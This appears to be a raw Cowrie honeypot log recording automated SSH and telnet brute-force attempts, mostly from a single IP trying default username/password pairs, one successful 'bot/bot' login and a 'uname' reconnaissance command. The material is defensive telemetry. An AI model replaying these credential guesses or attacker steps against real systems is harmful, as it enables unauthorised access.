{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:03.242623Z","src_ip":"176.65.132.129","session":"ef232713dc33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:03.494038Z","src_ip":"176.65.132.129","session":"ef232713dc33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:04.690736Z","src_ip":"176.65.132.129","session":"ef232713dc33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49118,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ff7d8cb7055","protocol":"telnet","message":"New connection: 45.58.127.90:49118 (10.17.0.5:23) [session: 9ff7d8cb7055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:05.186574Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46788,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce24e268487b","protocol":"ssh","message":"New connection: 176.65.132.129:46788 (159.203.135.109:22) [session: ce24e268487b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:06.538616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:06.542189Z","src_ip":"176.65.132.129","session":"ce24e268487b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:06.623450Z","src_ip":"176.65.132.129","session":"ce24e268487b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:07.116685Z","src_ip":"176.65.132.129","session":"ce24e268487b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:08.199986Z","src_ip":"176.65.132.129","session":"ce24e268487b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46796,"dst_ip":"159.203.135.109","dst_port":22,"session":"0adcfd2b1c22","protocol":"ssh","message":"New connection: 176.65.132.129:46796 (159.203.135.109:22) [session: 0adcfd2b1c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:10.229074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:10.233874Z","src_ip":"176.65.132.129","session":"0adcfd2b1c22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:10.318424Z","src_ip":"176.65.132.129","session":"0adcfd2b1c22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:10.562778Z","src_ip":"176.65.132.129","session":"0adcfd2b1c22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:11.647117Z","src_ip":"176.65.132.129","session":"0adcfd2b1c22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50450,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6ab7283b1d1","protocol":"telnet","message":"New connection: 45.58.127.90:50450 (10.17.0.5:23) [session: b6ab7283b1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:13.229975Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46800,"dst_ip":"159.203.135.109","dst_port":22,"session":"932565c0877d","protocol":"ssh","message":"New connection: 176.65.132.129:46800 (159.203.135.109:22) [session: 932565c0877d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:13.664650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:13.669309Z","src_ip":"176.65.132.129","session":"932565c0877d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:13.750880Z","src_ip":"176.65.132.129","session":"932565c0877d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:13.996670Z","src_ip":"176.65.132.129","session":"932565c0877d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:14.296789Z","src_ip":"176.65.132.129","session":"932565c0877d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:14.300044Z","src_ip":"176.65.132.129","session":"932565c0877d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:14.431309Z","src_ip":"176.65.132.129","session":"932565c0877d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:14.435585Z","src_ip":"176.65.132.129","session":"932565c0877d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33484,"dst_ip":"159.203.135.109","dst_port":22,"session":"22a1beaffead","protocol":"ssh","message":"New connection: 176.65.132.129:33484 (159.203.135.109:22) [session: 22a1beaffead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:17.171930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:17.176616Z","src_ip":"176.65.132.129","session":"22a1beaffead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:17.259156Z","src_ip":"176.65.132.129","session":"22a1beaffead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:17.508737Z","src_ip":"176.65.132.129","session":"22a1beaffead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:18.593181Z","src_ip":"176.65.132.129","session":"22a1beaffead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33498,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0d4ccd79c4d","protocol":"ssh","message":"New connection: 176.65.132.129:33498 (159.203.135.109:22) [session: a0d4ccd79c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:20.593415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:20.601575Z","src_ip":"176.65.132.129","session":"a0d4ccd79c4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:20.683694Z","src_ip":"176.65.132.129","session":"a0d4ccd79c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:20.932011Z","src_ip":"176.65.132.129","session":"a0d4ccd79c4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:22.016818Z","src_ip":"176.65.132.129","session":"a0d4ccd79c4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33508,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9de92c410f7","protocol":"ssh","message":"New connection: 176.65.132.129:33508 (159.203.135.109:22) [session: a9de92c410f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:24.281977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:24.286158Z","src_ip":"176.65.132.129","session":"a9de92c410f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:24.368180Z","src_ip":"176.65.132.129","session":"a9de92c410f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:24.614092Z","src_ip":"176.65.132.129","session":"a9de92c410f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:25.699239Z","src_ip":"176.65.132.129","session":"a9de92c410f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49254,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cdcb519a3ad","protocol":"ssh","message":"New connection: 176.65.132.129:49254 (159.203.135.109:22) [session: 5cdcb519a3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:27.753778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:27.761405Z","src_ip":"176.65.132.129","session":"5cdcb519a3ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:27.843431Z","src_ip":"176.65.132.129","session":"5cdcb519a3ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:28.090345Z","src_ip":"176.65.132.129","session":"5cdcb519a3ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":54658,"dst_ip":"10.17.0.5","dst_port":22,"session":"4587a86e5607","protocol":"ssh","message":"New connection: 193.106.245.20:54658 (10.17.0.5:22) [session: 4587a86e5607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:28.907401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:28.911987Z","src_ip":"193.106.245.20","session":"4587a86e5607","protocol":"ssh"}
